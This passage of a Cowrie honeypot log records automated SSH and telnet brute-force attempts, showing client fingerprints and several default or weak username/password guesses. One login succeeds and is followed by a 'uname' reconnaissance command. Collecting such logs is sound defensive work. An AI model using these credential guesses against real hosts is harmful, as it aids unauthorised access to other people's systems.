0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:41.301929Z","src_ip":"165.154.137.186","session":"4d654187cf56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:42.114194Z","src_ip":"165.154.137.186","session":"4d654187cf56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:43.385863Z","src_ip":"165.154.137.186","session":"4d654187cf56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48474,"dst_ip":"159.203.135.109","dst_port":23,"session":"8149e4d4ccee","protocol":"telnet","message":"New connection: 172.81.62.90:48474 (159.203.135.109:23) [session: 8149e4d4ccee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:47.282934Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40174,"dst_ip":"10.17.0.5","dst_port":22,"session":"743294ce0292","protocol":"ssh","message":"New connection: 165.154.137.186:40174 (10.17.0.5:22) [session: 743294ce0292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:52.950687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:53.015606Z","src_ip":"165.154.137.186","session":"743294ce0292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:53.206452Z","src_ip":"165.154.137.186","session":"743294ce0292","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:54.183699Z","src_ip":"165.154.137.186","session":"743294ce0292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:55.441530Z","src_ip":"165.154.137.186","session":"743294ce0292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":41156,"dst_ip":"10.17.0.5","dst_port":22,"session":"e23aa420ac52","protocol":"ssh","message":"New connection: 165.154.137.186:41156 (10.17.0.5:22) [session: e23aa420ac52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:01.593663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:01.598032Z","src_ip":"165.154.137.186","session":"e23aa420ac52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:01.851657Z","src_ip":"165.154.137.186","session":"e23aa420ac52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:02.617171Z","src_ip":"165.154.137.186","session":"e23aa420ac52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:03.864937Z","src_ip":"165.154.137.186","session":"e23aa420ac52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":51396,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ff0939f969c","protocol":"ssh","message":"New connection: 92.113.145.209:51396 (159.203.135.109:22) [session: 8ff0939f969c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:16.297858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:16.301572Z","src_ip":"92.113.145.209","session":"8ff0939f969c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:16.424649Z","src_ip":"92.113.145.209","session":"8ff0939f969c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"music","password":"music","message":"login attempt [music/music] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:16.953016Z","src_ip":"92.113.145.209","session":"8ff0939f969c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":60462,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a0639ef836b","protocol":"ssh","message":"New connection: 165.154.137.186:60462 (10.17.0.5:22) [session: 8a0639ef836b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:17.369788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:17.375142Z","src_ip":"165.154.137.186","session":"8a0639ef836b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:17.631080Z","src_ip":"165.154.137.186","session":"8a0639ef836b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:18.079676Z","src_ip":"92.113.145.209","session":"8ff0939f969c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:18.399588Z","src_ip":"165.154.137.186","session":"8a0639ef836b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:19.659018Z","src_ip":"165.154.137.186","session":"8a0639ef836b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.28764820098877,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:23.570436Z","src_ip":"172.81.62.90","session":"8149e4d4ccee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":56380,"dst_ip":"10.17.0.5","dst_port":22,"session":"8771a7f7b4ee","protocol":"ssh","message":"New connection: 87.251.79.125:56380 (10.17.0.5:22) [session: 8771a7f7b4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:38.770616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:38.778099Z","src_ip":"87.251.79.125","session":"8771a7f7b4ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:38.849341Z","src_ip":"87.251.79.125","session":"8771a7f7b4ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"michae","message":"login attempt [root/michae] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:39.065022Z","src_ip":"87.251.79.125","session":"8771a7f7b4ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:40.139525Z","src_ip":"87.251.79.125","session":"8771a7f7b4ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57816,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd5a6dba4b66","protocol":"telnet","message":"New connection: 128.199.8.54:57816 (159.203.135.109:23) [session: cd5a6dba4b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:40.781712Z"}
{"eventid":"cowrie.session.closed","duration":0.004357814788818359,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:40.785944Z","src_ip":"128.199.8.54","session":"cd5a6dba4b66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50126,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0c2c55c4186","protocol":"telnet","message":"New connection: 172.81.62.90:50126 (159.203.135.109:23) [session: c0c2c55c4186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:41.504353Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":46418,"dst_ip":"10.17.0.5","dst_port":22,"session":"5379f8dff8e7","protocol":"ssh","message":"New connection: 103.77.175.15:46418 (10.17.0.5:22) [session: 5379f8dff8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:52.347549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:52.350805Z","src_ip":"103.77.175.15","session":"5379f8dff8e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:52.615911Z","src_ip":"103.77.175.15","session":"5379f8dff8e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":37006,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b27cf056a22","protocol":"ssh","message":"New connection: 165.154.137.186:37006 (10.17.0.5:22) [session: 7b27cf056a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:53.122057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:53.125930Z","src_ip":"165.154.137.186","session":"7b27cf056a22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:53.376981Z","src_ip":"165.154.137.186","session":"7b27cf056a22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15081980","message":"login attempt [root/15081980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:53.407356Z","src_ip":"103.77.175.15","session":"5379f8dff8e7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:54.138590Z","src_ip":"165.154.137.186","session":"7b27cf056a22","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:54.685950Z","src_ip":"165.154.137.186","session":"7b27cf056a22","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:54.688946Z","src_ip":"165.154.137.186","session":"7b27cf056a22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:54.694145Z","src_ip":"103.77.175.15","session":"5379f8dff8e7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:54.943194Z","src_ip":"165.154.137.186","session":"7b27cf056a22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:54.948617Z","src_ip":"165.154.137.186","session":"7b27cf056a22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":37022,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc842d0ac34f","protocol":"ssh","message":"New connection: 165.154.137.186:37022 (10.17.0.5:22) [session: dc842d0ac34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:58.727597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:58.731674Z","src_ip":"165.154.137.186","session":"dc842d0ac34f","protocol":"ssh"}
